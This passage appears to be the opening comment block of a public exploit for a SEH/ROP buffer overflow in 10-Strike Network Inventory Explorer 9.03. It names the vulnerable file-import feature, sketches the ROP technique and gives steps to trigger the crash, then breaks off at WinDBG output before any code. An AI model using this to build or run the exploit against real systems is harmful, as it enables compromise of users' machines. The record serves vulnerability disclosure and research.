# Exploit Title: 10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)
# Date: 2020-03-30
# Exploit Author:   Hodorsec
# Version: 9.03
# Software Link:    https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe
# Vendor Homepage:  https://www.10-strike.com
# Tested on:        Win8.1 x64 - Build 9600

# Description:      
# - Exploits the functionality to load a list of computers from a file
# - Some DLL's and the main EXE don't rebase, which allowed for some instruction reusage for ROP
# - Used a jump after ROP to go to a buffer for more space

# Reproduction:
# - Run the script, a TXT file will be generated
# - Open the program and click on tab "Computers"
# - Click the button "From Text File" and select the generated TXT file
# - Clck OK and check results

# WinDBG initial crash output:
# (f54.f48): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
